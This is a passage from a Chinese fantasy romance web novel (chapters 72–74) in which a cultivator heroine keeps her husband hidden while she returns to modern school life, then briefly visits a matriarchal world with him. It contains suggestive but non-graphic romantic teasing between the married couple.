景雍发现她的意图,急得从床上离开,有些庆幸她只能靠轮椅才能移动,倒真像她白天说的那样,连抓他回床上都做不到,果然是不能随意“欺负”他了。 他的语气罕见的有些轻快和得意,道:“乖乖睡觉吧,你又抓不住我,我等你睡着了再去床上。” 刚得意完,贺流虹就大步走过来,将他一把抓住,扯回了床上。 这回换贺流虹得意了,“小师叔,怎么能轻信呢,这下跑不掉了。” 景雍很快被她欺负得神思恍惚,一片狼藉,但是贺流虹会不断提醒他:“小师叔,你叫得太大声了,被我姥听到了可就没看见人了。” 景雍咬紧嘴唇,委屈得不行,抱着她哭诉:“你怎么能说话不算话,你说只和我睡觉的。” 贺流虹理直气壮地替自己辩解:“我确实是只和小师叔睡觉的呀。” 景雍浑身剧烈颤栗,又溢出越发高亢的喘息声,贺流虹捂着他的嘴,“哎,平时挺安静的,怎么这么爱叫呢。” 景雍在心里哭,他是她结过婚契拜过天地的道侣,又不是偷人,怎么就不能叫呢,他都想回神月峰了,至少在那里受“欺负”的时候,不必担心动静太大被听见。 第72章 第72章情人 第二天和家人吃早餐的时候,贺流虹回味着昨晚的小师叔,有一搭没一搭想着,是杯子里的牛奶更香,还是小师叔身上更香,是剥了壳的荔枝更甜,还是剥了衣服的小师叔更甜。 昨晚的客人那么年轻貌美,大家都印象深刻,聊着聊着,就又找贺流虹打听起来。 “你哪个同学有那么漂亮的哥哥呀,我怎么不记得你同学里面有谁跟他长得像的呀。”妈妈对贺流虹从小到大的同学都很熟悉,有些人连贺流虹自己都忘了,她还是能名字长相说出来。 贺流虹胡诌了个名字,然后稍稍修改了一下她的记忆。 她豁然开朗:“哦,原来是你那个同学呀。” 贺流虹:“对,就是那个同学。” 贺流虹的姨妈和舅舅在一旁冥思苦想了一会儿,说道:“我也想起来了,你是有个和他长得挺像的同学。” 姥姥一拍大腿,“哟,是有那么个同学,你俩当年关系可亲近着呢,还是同桌,你妈还担心过你跟那小同桌早恋呢。” 贺流虹愣了一下:“啊?还有这回事?” 她没给大家的记忆里加上这种内容啊,她姥姥是不是把什么人跟这弄混了。 姥姥继续说道:“都是过去的事情了,你昏迷这两年,人家都在广城念大二了,跟咱们隔了几千里地,说不定都交上女朋友了。可惜了,那么漂亮的人不知道让谁赚到了。” 舅舅在对面气定神闲地说道:“过几天开学了,我们家虹虹明年去大学找个更漂亮的不就行了。” 贺流虹捕捉到这句话的关键信息,不由睁大眼睛:“什么,开学?” “你昏迷的时候是高二暑假,本来是该马上读高三的,但是在医院一躺就是两年,有些知识可能忘掉了,你要是跟不上高三进度,我们也可以从高二或者高一重新读。” 贺流虹的妈妈非常体贴地跟她解释道。 贺流虹眼前一黑,几乎就要晕过去。 什么,她都一统修真界了,怎么还要去上学啊? 等家里人都出门,工作的工作,遛弯的遛弯,贺流虹也准备出去瞧瞧久违的景色,刚换好衣服,小师叔又出现在眼前。 她打量着对方换成短发的俊秀模样,笑道:“身体好些了吗?” 景雍身体微颤,关于昨晚的记忆又涌上来,强作淡定地“嗯”了一声,又忍不住问:“早恋是何意?” 贺流虹意味深长地看着他:“小师叔,偷听呢?” 景雍不好意思地偏过脸去,不敢看她的眼睛,但心里又有些不是滋味,她在遇到他之前,还与旁人关系亲近吗,比他还要亲近吗…… 贺 流虹一瞧他这样,就知道他肯定又在那里胡思乱想,想要抱着人狠亲一顿,忽然意识到自己现在的身高不够,竟然需要垫着脚才能亲到,这像什么话! 她拍了拍自己的心口,安抚自己没有关系,这具身体毕竟是昏迷了两年,错过了好好长个子的机会,等她用灵力修复一下,肯定能很快蹭蹭往上长。 景雍意识到她在纠结什么,忽然有点想笑,抬起一只手轻轻拍了拍她的脑袋,故意问:“阿虹,你的个头怎么变矮了?” 兴许是换了环境,他的举止少了几分在神月峰时的端方持重,这么快就学会反过来调侃人了。 贺流虹磨了磨牙,趁他沉浸在得意中,一把将他按倒在玄关的柜子上。 景雍的上半身往后仰倒,一只手支撑在身后的柜子上,另一只手被贺流虹用力攥着,细腻白皙的皮肤很快留下红印。 贺流虹埋在他胸口,像是有了了不起的发现一样惊喜道:“这样刚好能吃到耶。” 景雍脸色爆红,不断认错求饶。 这时候衣裳穿得单薄的好处尽显出来,贺流虹并没有脱他的衣服,仍将他弄得喘息不止。 偏偏他又五感敏锐,不仅能感受到彼此的细微反应,连门外很远的地方传来的动静也一清二楚,越来越近的脚步声让他身体紧绷,咬紧下唇不让羞耻的声音溢出来。 贺流虹在门打开的前一秒放开他,他立即消失。 门打开来,贺流虹和去而复返的舅舅四目相对,舅舅有些不解:“你这是遇上什么喜事了,瞧把你给美的。” 贺流虹摸摸自己的脸,她高兴的样子有这么明显吗,清了清嗓子问:“你怎么又回来了?” “我忘拿东西了。”舅舅拿了丢下的东西,又急匆匆走了。 贺流虹抱着胳膊在屋子里转了一圈,不见景雍身影。 她明知道对方是害羞得躲起来了,还是故作不解地在识海中与他沟通,“小师叔?怎么不出来啦?你不喜欢我了吗?” 她越说越可怜,好像刚才把人压在玄关尽情欺负的不是她。 景雍明知道她是装的,但还是看不了她这般可怜,红着脸出现在她面前。 贺流虹立刻就笑起来,盯着他的衣服,胸前的布料颜色变深了,而且还皱巴巴的。 景雍顺着她的目光低头查看,下意识抬手挡住,但又更显得欲盖弥彰,于是急忙背过身去,只留给贺流虹一个手足无措的背影和一对红红的耳尖。 贺流虹身为始作俑者,没有一点心虚,笑得越发灿烂,“小师叔,要不就全脱了吧。” 景雍承受不住她的反复逗弄,一闪身,又消失了。 过了片刻,换了身层层叠叠繁复庄重的衣服出现。 他越是这样遮遮掩掩,贺流虹就越是想把他那一身裹得严严实实的衣服一层一层扒开。 只是这个家里不止住着她一个,始终有些限制她的种种肆意行为。 她又想起了几天后还要去上学,不禁一脸菜色。 景雍问她:“你打算在这个世界待上多久?” 贺流虹朝他看了看,眼珠子乱转,一看就没想什么正经事,景雍警惕地往后退开半步。 “这个世界难道不好吗,小师叔短头发的样子也很漂亮呢。”贺流虹由衷地赞美着,“而且我还没把我们的真实关系告诉我姥她们,到时候我们再来一次结侣大典。” 景雍好奇地问:“这个世界也有结侣大典?” 贺流虹点头:“有,就是形式上有点区别。” 景雍的眼睛里流露出向往和期待。 贺流虹想过了,好不容易回来和家人团聚,自然是要陪家人到老,这短短数十年对她来说只是弹指一挥间,但对家人来说就是完整的一生。 她问道:“小师叔,你要不要入乡随俗,换个正常一点的住处?” 景雍有些不情愿,芥子空间比一粒灰尘还要不起眼,里面却藏着一方世界,他藏身其中,贺流虹在哪里,他就在哪里,如果像这里的人们一样住在垒砌而成的房屋中,他和阿虹之间就被一堵堵墙隔开了。 他小声抗议着:“我想离你近一些。” 贺流虹摇头,“不好不好,那样只能你每次主动找我,我要是想你了,还要喊你才能见到你。” 她朝他走过去,熟练地把脸埋在他胸口蹭来蹭去,“小师叔,你难道不喜欢早上打开门看到门口是我在等你的吗?” 景雍当然喜欢,很喜欢,曾几何时他每天最期待的就是她能准时出现在窗外。 他不放心地问:“那我还能随时来见你吗?” 贺流虹抱着他的细腰,吸着他怀里淡淡的香气,闷声说道:“我巴不得不放你走呢。” 景雍望着她这副缠着自己不放的样子,既羞涩又甜蜜,还有一种前所未有的满足感。 之后几天,贺流虹帮他搬了家,距离不是很远,如果入乡随俗老实坐车的话,也只需要十几分钟。 贺流虹原打算就让小师叔住在她楼下,但小师叔不知怎么的又不愿意,说是离得太近了,这样容易被她的家里人发现,贺流虹哭笑不得,这下真是越来越像在偷情了。 两人从芥子袋中随便拿一块石头出来都价值不菲,所以在花钱方面也没省着,势必让小师叔这个修真界大美人换了个时空依然能住在配得上他美貌的地方,做到相得益彰。 新家的布置全凭喜好,景雍想来想去,他所有喜好全在贺流虹之下,所以这个家全是按照贺流虹喜欢的样子来布置的。 贺流虹也没打算一直这样分开来住,把小师叔这样的大美人丢在一边不抱,简直是暴殄天物,可惜她现在的身份是个高三生,只能暂时偷偷把小师叔安置在外面,搞一搞地下恋了。 所有东西都弄好之后,贺流虹满意地到处走走看看,家具很不错,软装很不错,墙壁很不错,人更是不错。 景雍将她的满意看在眼里,心里很是高兴,期盼地问道:“你以后会常来这里看我的,对吗?” 贺流虹把他牵到新买的沙发上坐下来,满口答应下来:“那是肯定的呀。” 景雍欢喜了一会儿,又有些委屈地问:“我们什么时候才能光明正大地住在一起?” 贺流虹越来越有一种背着正宫在外面偷养了个情人的错觉,并且还是个迫不及待想转正的情人。 她忍不住笑出声。 景雍背过身去,不理她了。 她在沙发上用力拍了拍,故意弄出点动静引起他注意,口中赞叹着:“哎呀,不愧是我千挑万选出来的沙发,又大又软,一看就很适合和小师叔在上面玩。” 景雍低头仔细观察了一下这个沙发,他以为这就类似一张美人榻,不就是拿来坐卧休憩的吗,莫非在这个世界还有别的作用? 他转过身看向贺流虹,面露茫然地问:“这上面什么都没有,能玩什么?” 贺流虹在他耳边小声反问道:“这上面不是有小师叔吗?” 景雍刚反应过来她的意图,想要逃开,就被推倒在沙发上,嗔骂道:“你真是个坏孩子。” 贺流虹满脸无辜地说道:“我只是想和小师叔一起试试新沙发好不好用,小师叔怎么就骂我坏。” 景雍从来争不过她,无论是嘴上,还是床上,心中无比清楚这一次又难逃被她玩弄欺负的下场,紧咬着唇一言不发。 贺流虹在他精致迤逦的脸蛋上轻咬一口,故意将事情越描越黑,佯装恼 火道:“还不屑与我争辩是吧,既然小师叔执意认为我坏,那我绝不能太客气了。” 此时屋内再没有第三个人打扰,她前几日的克制全都丢得一干二净,暴露出恶劣的本性,又因为换了个新地方,新鲜感的刺激之下,她比在神月峰时更为兴奋,恨不得将这美丽又乖顺的小师叔直接弄坏。 景雍很快就毫无反抗之力地沉沦在她给予的疼爱中,乖乖任由她摆弄。 第73章 第73章小师叔好像亲起来也更甜…… 又过了几天,贺流虹背着书包上学去了。 她神识强大,课本上那些知识难不倒她,但是在修真界摸爬滚打多年,忽然觉得坐在教室里装学生也挺有意思的。 新同桌不知道她昏迷两年,从学姐变同班同学,以为她是转学来的,热情地跟她介绍学校八卦,这天课后,同桌从校医室回来,激动地拉着她分享八卦:“校医室来了个绝美男医生!” 贺流虹好奇地跟着同学一起去看,这一看,就把那个“绝美男医生”的脸给看红了。 这哪是什么男医生,这是她养在外面的小师叔。 她不禁赞叹,还是小师叔会玩,她怎么没想到还能这样。 “小师叔,穿白大褂好涩哦。”她用神识和他沟通。 景雍受到她这样的称赞,抬头望了她一眼,眼眸也变得朦朦胧胧如同蒙着一层水汽,含着无限情意。 贺流虹的同桌夸张地栽倒在她身上,“美人为什么用那种眼神看这边,他在going谁!医生,我无法敷吸!” 贺流虹拍拍同学的小脑瓜,把她拍醒,“他就是医生。” 一群精力过剩的同学好不容易遇到新鲜事,瞬间把校医室门口挤得水泄不通,叽里呱啦聊得起劲。 贺流虹从人群里钻出去,大摇大摆进了屋子。 景雍垂着眼不敢看她的眼睛,但又想到自己的“职责”,轻声询问:“这位同学,你有什么不舒服的地方吗?” 贺流虹在他对面的椅子上坐下来,揉着眼睛,“医生,我眼睛不舒服。” 景雍见她皱着眉,以为她是真的眼睛难受,“可能是用眼过度,我来帮你看看。” 他的脸缓缓靠近,贺流虹目不转睛地盯着他,片刻间又把他看得面红耳赤。 贺流虹恍然大悟地说道:“我明白了,原来是好久没看过像医生你这么好看的人,所以眼睛才会不舒服,现在舒服多了。” 门外还有不少凑热闹的同学没走,听到这话,发出阵阵起哄声。 其中有认识贺流虹的,笑得很大声,“贺流虹,你这也太土了吧,别把美人医生给吓跑了。” 贺流虹挥手赶人,“快滚快滚,别打扰医生给我看病。” 那些人又扒在门口调侃:“你的病就是油吃得太多了,一张嘴把我都给油到了。” 景雍眼看着外面那些人把贺流虹的注意力都给吸引走,让她一心只顾着打嘴仗,顿时有些不满,想把门从里面关上,不让人打扰。 但是他低估了校长对这个学校的掌控程度,刚走向门口,这些挤在外面的学生就都一哄而散,被闻声而来的校长给赶跑了。 贺流虹从他身后探过脑袋,一看居然是校长亲自来了,讪讪地笑了一下。 校长冲他点了点头,对于这个学校刚聘用的校医室医生很客气,他的履历很优秀,就是不知道为什么来校医室工作。 于是她看向贺流虹,对于贺流虹,她也熟悉,靠营养液维持两年生命,想不熟悉都难。 她把这个命大的学生拉到一边,语重心长地劝道:“你看见了吧,要是现在不好好学点真本事,将来就算和景医生一样考上X大,还是找不到工作,只能来校医室被你这样的皮猴子学生逗着玩。” 贺流虹:“……小点声,别被听见了,多伤人家景医生的心。” 景雍:“……” 校长有点心虚地扭头朝身后的景雍笑了笑,又低声嘀咕:“不可能吧,离得这么远呢,景医生又没有顺风耳。” 贺流虹压低了声音:“但是我本来就认识景医生啊。” 校长捂着嘴假咳了几声,“突然想起来我还有点事要处理,我先走了。” 她说着,健步如飞地走了。 景雍将两人的对话听得一清二楚,这段时间他对这个世界熟悉很多,知道校长与学生而言的份量,眼看着贺流虹连校长都戏弄,不禁为她顽劣的孩子气感到无奈又好笑。 他走过去整理了一下贺流虹有些凌乱的头发,忍不住笑道:“干嘛那样逗她。” 贺流虹理直气壮地说道:“我这叫诚实。”又摩挲着下巴漫不经心猜测着,“她会觉得你和我是什么关系呢。” 景雍有些落寞地在一旁嘟囔着:“反正不可能是男朋友。” 贺流虹做惊讶状,左右看看,用只有二人能听见的声音问:“原来景医生你想做我的男朋友?” 她难以置信地说道:“想不到景医生看起来冷冷淡淡,其实这么热情主动?” 景雍莹润如玉的冷白色肌肤上晕开了淡淡的红,好像真的成了刚认识不久就急着示爱的那种不懂矜持的人。 贺流虹在教室闷坐半天,既然美人送上门,怎么能放过逗弄调戏的好机会,她追着问他:“你真的想当我男朋友?那你是不是要展现出一些诚意?” 不远处还有人在探头探脑,景雍唯恐被人听见贺流虹如此大胆的对话,越发压低了声音:“你想怎么办?” 贺流虹正要开口,预备铃声响了,于是扭头就跑了。 景雍愣了一下,心想她好像沉浸在上学当中无法自拔了。 没一会儿,贺流虹和校医室新来的大美人早就认识的消息就传遍了,同桌一副看穿一切的表情:“美人医生是因为你才来这里工作的对不对?” 贺流虹神神秘秘地笑了一下,没有承认,也没有否认。 同桌继续用笃定一切的表情说道:“他是你哥哥!我猜得对吧?” 贺流虹想了想,哥哥也行吧。 于是等到当天放学,贺流虹就光明正大地和“哥哥”一起回家了。 今晚姥姥她们出门拜访朋友了,家里一个人都没有,贺流虹自然就回到偷偷养在外面的另一个家。 景雍见她一路上都很沉默,连进了门之后也不像之前那样过来亲他欺负他,心虚地问:“你是不是不喜欢我干扰你在学校的生活?” 贺流虹一回头就看见他忐忑的模样,走上前去把人拦腰抱住,熟练地埋熊,深吸了几口气过完瘾后,这才说道:“我只是在想,现在同学们都以为你是我的哥哥,我再继续欺负你,是不是不太好。” 她像是狠下决心,郑重开口:“我们应该暂时保持适当的距离。” 景雍有点不乐意,连带着对她的那些多嘴多舌的同学都埋怨起来,他本来就是她的爱侣,恋人,还为她生了一对可爱的女儿呢,凭什么要和她保持距离? “不,”他罕见地抗拒起贺流虹的决定,“我才不要当哥哥。” 贺流虹觉得他这样看上去十分可爱有趣,还想多看一会儿,“为什么不想当哥哥,从小师叔变成哥哥,不是更亲近了吗?” 她一边保持着将下巴搁在他胸口的亲昵姿势,一边一脸正色地说道:“当了哥哥,小师叔就不用再被我整日整夜玩弄欺负到哭个 不停了哦,这还不好吗。” 景雍意识到自己又被她耍了,又羞又气,心里一着急,就豁了出去,“不,不好,就要被、被阿虹欺负,被阿虹玩弄,要整日整夜都被阿虹困在床上才好。” 一般情况下,贺流虹很难从他嘴里听到什么奔放的话语,即便在床上也只会被她弄得意识不清时才会胡言乱语上几句。 现在居然在清醒的情况下就说了出来,听得她是差点就暴露出真面目,将人拖上床。 她笑得开怀,过了会儿又板起脸,问:“所以小师叔现在是在求我咯?” 景雍羞耻得闭上眼睛,既后悔,又有种说出心里话之后的激动和畅快,于是他点了下头:“求你了,阿虹。” 贺流虹将他放开,在二人之间拉开一小段距离,摸着下巴若有所思地打量他,好像在认真思考要不要答应他的请求。 景雍被她细细端详着,尽管身上衣服都穿得完整,还是有种被扒光了的感觉,她的每一次注视都让他从心底里一直颤栗到全身。 他乖巧地开口央求:“我会让你开心的,阿虹,别不要我,你喜欢女儿的话,我愿意再为你生很多很多的女儿。” 贺流虹发出一声有些低沉的笑声,被他这么一说,倒是真有些怀念他大着肚子可怜兮兮的样子了。 “小师叔,你怎么越来越会勾引人了?” 景雍垂着眼,眼睫微颤,因为极度羞耻而浑身颤抖,但还是坚持说道:“你白天不是还说,想做你的男朋友,需要展现出诚意吗。” 他一边说着,身上的衣服就被慢慢褪下了,逐渐显露出在灯光下完美无瑕的躯体。 贺流虹靠着墙,似笑非笑,心里对眼前这一幕大为赞叹,面上不为所动,期待能激发出美人更令她惊喜的表现。 景雍心里打起了退堂鼓,却又不满足于只是被她这般注视着,于是又主动向前走了一步,拉住她的一片衣角。 “阿虹,你喜欢我现在的样子吗?” 贺流虹在他腰上捏了捏,缓缓说道:“瘦了点。” 景雍望着她沉着冷静的模样,以为自己失去了她的欢心,终于无法控制地哭了出来。 是啊,再喜爱的事物都会有失去兴趣的一天,她一定是腻歪了他这副无趣的身体。 贺流虹连忙搂着他窄瘦柔韧的腰肢,哭笑不得哄道:“好好的怎么突然又哭了?” 景雍自己抬手擦脸上的泪水,窘迫道:“见你对我无动于衷,我就觉得你定是不再那么喜欢我了。”他都豁出脸皮了,哪里承受得住这个结果。 贺流虹无奈地笑了,“还以为不欺负你的话你就不会哭了,没想到反而哭得更厉害。” 看来还是要狠狠地“欺负”,才能将这个脸皮太薄的小师叔哄得放下心来。 她耐心地解释道:“我碰你肯定是因为喜欢你,但是我无动于衷也不一定就是不喜欢你啊,傻师叔,难道我只能是贪图你的美色才和你在一起吗,你讨人喜欢的地方多着呢。” 这番话的效果立竿见影,景雍立刻就被哄好了,漂亮的眼睛还湿漉漉的,嘴角却忍不住地翘起来,看起来矛盾又可爱。 贺流虹捧着他的脸狠亲了一口,“不能再哭了,不然明天去学校别人还以为大美人医生被谁欺负了呢。” 景雍喃喃说道:“除了你,还能有谁欺负。” 贺流虹只好将他就地狠狠欺负了一顿。 就这样,白天贺流虹去上学,自从校医室多了个大美人,大家“头疼脑热”的频率大幅度增加,贺流虹当然是其中最“体弱多病”的,但是一见到大美人医生,就什么病都立刻好了。 景雍这个医生当得也很合格,真正身体不舒服的人去找他,也会莫名其妙就痊愈,就像神仙显灵一样,连借口生病多逃两节课的机会都没了,久而久之,大家反而不爱去找大美人医生了。 后来贺流虹不满足于只是在校医室见到小师叔,于是又多了个家教老师。 论治病,景雍还算能发挥作用,但是做家教,就只有被“学生”欺负哭的份了。 时间就这么一天天过去,贺流虹厌倦了待在学校就留下替身,带着小师叔见识这个与修真界全然不同的世界。 第二年夏天一过,贺流虹去另一个城市上大学,有了更多独立的空间,毫无疑问,景雍也跟着她搬过去,两人又能像在神月峰一样住在一起了。 贺流虹平时享受美人在怀,假期回去陪姥姥妈妈享受温馨生活,学业上当然也是完全难不倒她这个神识强大的修真强者。 过了几年这样的生活之后,她正式将景雍作为男友介绍给家人认识,家里人早就察觉到苗头,并没有很意外,倒是景雍第一次面临见家长,耳尖通红,话都忘了该怎么说,局促地抓着贺流虹的手。 之后,贺流虹完成自己的承诺,又给了小师叔一个现代版的结侣大典,不过考虑到两人如今身份不同,就只邀请了亲近的家人和朋友,这样就不用在婚礼上讲究那些陈规旧习,婚礼的唯一作用就是向大家宣布和承认她和他彼此互为爱侣。 私底下说过的很多情话和承诺在众人见证之下带来无数感动,景雍当晚十分热情。 后来贺流虹在小师叔的帮助下开了很多家养老院,为无依无靠的老人提供温暖安全的晚年居所,又在贫困的地方创办了很多救助机构,帮助深陷黑暗的人走出深渊。 两人在修真界修得的一身本领和积累的财富在这个世界发挥了它们真正的作用,亲手将这个世界变得更加美好。 五十年后,家人们接连安详离世之后,贺流虹又在这个世界多留了十年,专心和小师叔在各地游山玩水。 在这个变得比从前更加美好宁静的世界,相爱也变成了一件比从前更加美好快乐的事,伴随的只有甜蜜和放松,她的漂亮小师叔好像亲起来也更甜了。 纷争乱世中诞生的爱情可歌可泣,荡气回肠,但是贺流虹更喜欢现在。 每天醒来,世界可爱,小师叔更可爱。 当然,最可爱的肯定是她自己啦。 第74章 第74章小师叔打扮得…… 在这个世界待够了之后,贺流虹本来打算和小师叔回去瞧瞧两个女儿,但是不小心在繁杂的时空隧道里跑岔了路,等两人睁开眼,就发现身处一个有些奇怪的世界。 两人身处一条古代街道,入目是一片十分繁华的景象,摊贩叫卖声不绝于耳,行人有说有笑,看起来和两人印象当中的古代繁荣大街没有太大不同。 但是细看之下,整条街上大部分都是女子,偶尔有男子路过,皆以轻纱覆面,从头到脚包裹得严严实实,连一根手指头都唯恐被旁人看了去。 贺流虹不由被这些装扮的男人吸引目光,难掩好奇地朝他们看过去。 那些男人被瞧得脸色通红,却又被她的相貌气度折服,偷偷打量回来。 临街一家酒楼的二楼包间有喝醉的人倚在窗边眼神朦胧,一点酒水从二楼的窗口洒下来,贺流虹拉着景雍往一旁让了让。 她抬头望去,倚在窗边的是个上了年纪的女人,盯着她身边的小师叔,轻佻地吹了声口哨,大声道:“哪里来的美人,出门都不覆面,是不是为了让我等大饱眼福?” 景雍有些怔愣地站在贺流虹身边,还没明白到底发生了什么。 街上来来往往的人都放缓脚步,朝他看过来,不停指指点点:“谁家的男人,竟如此不知羞耻。” “光天化日之下,他就这么出门了,将来哪还有妻主愿意要他?” “恐怕也不是什么正经人家的男儿。” …… 景雍瞧着这些人莫名其妙的鄙夷神态,下意识往贺流虹身边躲了躲,低声问:“阿虹,这是什么地方,好生奇怪。” 贺流虹在他手背上轻轻拍了两下,安慰道:“不用管这些人,我们看看就走。” 景雍觉得她说得 也是,反正只是来这里观光游览的,用不着在意这里的原住民是什么看法。 他正准备去牵贺流虹的手,周围发出惊呼声:“你们快看呐,我就说他不是正经男人,竟然在大街上就和人拉拉扯扯起来!” “我真同情他未来的妻主,脸都被他丢尽了。” “这样的男人,长得再美,恐怕也没人愿意娶回家吧。” “看在他生得不错的份上,可以给我的妻主做个外室。” 景雍那只手松开也不是,握住也不是,表情有些为难。 贺流虹清了清嗓子,提高了声音解释道:“诸位,我和他已经成亲多年,就不必劳烦多管闲事了。” 众人听得一愣,疑惑起来,“谁家的妻主娶了夫郎不是好好藏在后宅,这个女人也太大方了,把漂亮夫郎带到大街上让大家一起看。” “男子终究不适合抛头露面,老实待在后宅,帮助妻主管理家中庶务才是正事。” 贺流虹这下算是体会到了当异类的感觉,还有好心人过来劝她:“年轻人,这夫郎宠归宠,但宠坏了性子,后宅不得安宁啊。” 她笑得有些无奈,反握住小师叔的手,从这条街上凭空消失了。 原本还在议论纷纷的众人眼见着活生生的人说消失就消失,茫然了好一会儿,以为自己还没睡醒,恍惚了一阵后,记忆中关于刚刚发生的一切都被抹除,就像从没见过街上出现那二人一样。 贺流虹想着来都来了,自然不能白跑一趟,于是换了另一条街,接着逛了起来。 景雍吸取教训,隐去身形,这样在外人看来就只有贺流虹一个人在路上走走停停,不时驻留在摊位前东瞧瞧西摸摸,倒是没有之前那么显眼了。 两人的交流频道切换到识海当中,景雍望着满大街形形色色从事各行各业的女子,以及点缀其中低眉顺眼匆匆走过的男子,道:“这似乎是个以女子为尊的世界,与修真界还有阿虹你长大的地方都有所不同,阿虹,你要留下来玩吗?” 贺流虹在识海中回应道:“那小师叔要留下来吗,按照这里的说法,小师叔算是我的夫郎呢。” 景雍欲言又止,说道:“这里的男子不允许抛头露面。” 贺流虹“嗯”了一声,“好像是只准给自己的妻主看呢,小师叔难道不愿意只给我一个人看?” 景雍急忙解释道:“当然不是。”又支支吾吾地开口:“我只是觉得那样我们之间的距离就变远了,即便是成亲,也只是一个困在后宅,一个天高海阔。” 贺流虹深以为然地点点头,“所以我还是喜欢小师叔,既能和我一起修炼打怪,又能帮我生可爱宝宝,比这里的男子强多了,我才不在这个地方久留。” 景雍一路上都见到有男子含情的目光羞涩地落在她身上,本来还担心她真的被这里别具一格的男子引诱,现在得到她的保证,放心很多。 贺流虹确实对这里的男人有些兴趣,那些男人走路时步态轻柔,腰肢似乎也格外地软,身上还特别香,最重要的是个个都很爱脸红。 但是她总觉得他们脸红起来的模样都没有小师叔可爱。 毕竟小师叔修真界的灵气滋养出来的第一美人。 她停在一个首饰铺子前,挑了一只发簪,那发簪做成桃花花枝的形状,精巧可爱,颜色逼真,她问道:“这个多少钱?” 铺子的主人报了个价钱,她爽快地付了钱,对方喜笑颜开地收下。 她怕麻烦所以凡事从简,很少使用这种繁琐饰物,不过此时优哉游哉,碰见什么都想尝试一下,拿到发簪就往自己发间戴。 铺子里的伙计望着她的动作愣在原地,对着她上看下看,怎么看也不觉得她是个假扮女子溜出后宅玩耍的男人。 贺流虹看向她,不解道:“你用这种表情看着我做什么?” 伙计憋不住地小声提醒:“客人,你买的这是男子佩戴的发簪,你怎么往自己头上戴。” 贺流虹反应过来,在这个地方,男人负责将自己装饰得赏心悦目,女人只负责欣赏。 她肯定是被店铺的伙计当成拥有怪癖的奇怪女人了。 不过没事,只要她不尴尬,尴尬的就是别人。 她淡定自若地取下发簪,道:“我喜欢,不行吗。” 店铺里不管女人还是男人都露出了不理解的神情,凑在一起嘀嘀咕咕,“她真的好怪,女子怎会喜欢这些。” “身为女子应志向高远,将心思放在考学做官追求真理之事上,怎能像男人一般成日琢磨调脂弄粉。” 贺流虹听到景雍低低的笑声,有些狼狈地从铺子里溜走了。 一出来她就带着景雍绕到了一条没人的巷子里,让景雍现了身。 景雍不解地看着她,问:“阿虹,为何来这里?” “我想小师叔了。” 贺流虹眨眨眼睛,说得一脸诚恳,“外面人太多了,有些事情做起来不方便。” 景雍讶异地微微睁大双眼,脸逐渐泛起红晕,不敢相信自己的猜测,“你该不会是想在这里……” 他话说到一半,意识到自己被贺流虹施了定身术,动弹不得。 贺流虹搓搓手,做出即将干坏事时的坏人的样子,凑过去摸摸他的脸,啧啧感叹:“美人,这下落我手上了吧,让我好好疼爱你。” 景雍羞红着一张脸,颇有些无奈,垂着眼帘不敢瞧她下一步的动作。 贺流虹见状,继续道:“美人别怕,我会很温柔的。” 景雍当然不会怕,除了羞涩,更多的是紧张,从前在神月峰虽说也被她哄着在外面乱来过,但整个峰上并没有外人,这里却是真正的室外,巷口随时会有陌生人经过。 他睫毛轻颤,等了半天,贺流虹却只拿出那只发簪轻轻插在他发间,然后拿出一面小镜子,递到他面前,让他看自己现在的模样。 桃花花枝形状的发簪点缀在发间,鲜艳逼真的花瓣和他脸颊上的绯色交相辉映,一时间不知道是桃花开得更灿烂,还是美人的颜色更糜艳。 贺流虹感叹道:“这发簪确实该戴在小师叔头上,真漂亮,我的小师叔怎么会这么漂亮,让我亲一口。” 景雍低声呢喃:“你总是这样。” 贺流虹先在他脸上亲了亲,然后得寸进尺地反问:“小师叔是不喜欢我这样夸你好看?还是不喜欢我这样亲你?” 景雍面露难色,他没有不喜欢,没有不喜欢她这样夸他,更没有不喜欢她这样亲他。 贺流虹苦恼地轻叹一口气,道:“那我以后既不夸你,也不亲你了。好吗,小师叔。” 景雍隐隐感觉她是在故意装可怜,逼他开口说实话,因为她的脸上没有显露出太多真正的后悔。 但是即便她流露出的后悔只有半分是真的,他也无法接受,他一点也不想变成她说的那样。 “不,”他轻声开口,怕她听不清,又提高了嗓音,摇头拒绝,“不要这么对我。” 贺流虹笑嘻嘻捧着他比桃花还要艳丽的脸,又亲了好几口,“骗你的小师叔,我怎么可能忍得住一直不亲你。” 她把脸凑过去,“现在你再亲我一口,这事就算过去了。” 景雍左右看了看,没人经过,于是柔润鲜红的唇瓣飞快在她脸颊上碰了碰,脸上的表情既像是做贼般忐忑,又像是偷腥的猫一般窃喜,冷淡的脸此刻显得十足的鲜活美丽。 贺流虹解开他的衣带,他僵住,有些委屈:“不是说这事就算过去了吗?”可是她怎么还是没解开他的定身术。 “是过去了,但我又想到了另一件更妙的事。” 贺流虹理直气壮地将他从层层布料包裹中剥出,像摆弄一只大型手办一样,兴冲冲给他换上了一套新衣服。 一套女子样式的裙装。 景雍望着水镜中自己陌生的身影,偏过脸不好意思继续再看。 贺流虹满意地打量他现在的样子,很有成就感:“哎呀,我把小师叔打扮得好美呀!” 她惊叹完, 就相当自然地凑上去,亲亲热热地搂住了他的腰,“这下外面的人都以为小师叔是女子,就不会再对小师叔指指点点,责怪你抛头露面了。” 她这么兴奋,景雍不忍拒绝,试着习惯这身女子的装扮,被她牵着手走出巷子。 到了人多的地方,贺流虹就改成揽着他的肩膀。 在这里的人眼中看来,两人就是一对不拘小节的好友,勾肩搭背一起逛街。 景雍有苦难言,贺流虹要是真的这么规矩就好了,可她表面坦荡,两只手却是一点也不像表面那么老实,借着衣服的遮掩,这里摸一下那里掐一把,不知是有意还是无意地对着他腰间的敏感处,直把他折腾得时不时腿软颤抖。 光天化日,众目睽睽,这一回他不是路人眼中不知羞耻的男子,但他却是真的羞耻了。 贺流虹刚开始只是逗他玩,逗着逗着,被他那副隐忍的神情弄得有些心猿意马,于是也顾不上在这个时空观光游览了,匆匆带着人回到了修真界。 修真界的时间流逝没有她在其他时空那么快,只过去十几年。 一回神月峰这个老地方,她就拉着面红耳赤的漂亮小师叔重温洞房花烛夜的美好时光,贺小霓后来又送了她不少画作,她还没和小师叔一一领略过画中真意。 这一领略,就是大半个月过去了,从精彩纷呈的画中离开,正逢修真界难得一见的盛事,仙门大会,在这场盛会上,赢得最终比试的人将会成为新任仙门至尊。 贺流虹和景雍过去旁观,毫无意外,大女儿贺咏天赋异禀,成为修真界最年轻的仙尊,赢得仙门敬重。 贺咏和母亲爹爹重逢,一改人前稳重形象,洋洋得意地昂着下巴,道:“娘亲,我就说我会变得很厉害吧。” 贺流虹很配合地鼓掌:“太牛了我的宝,不愧是仙尊大人。” 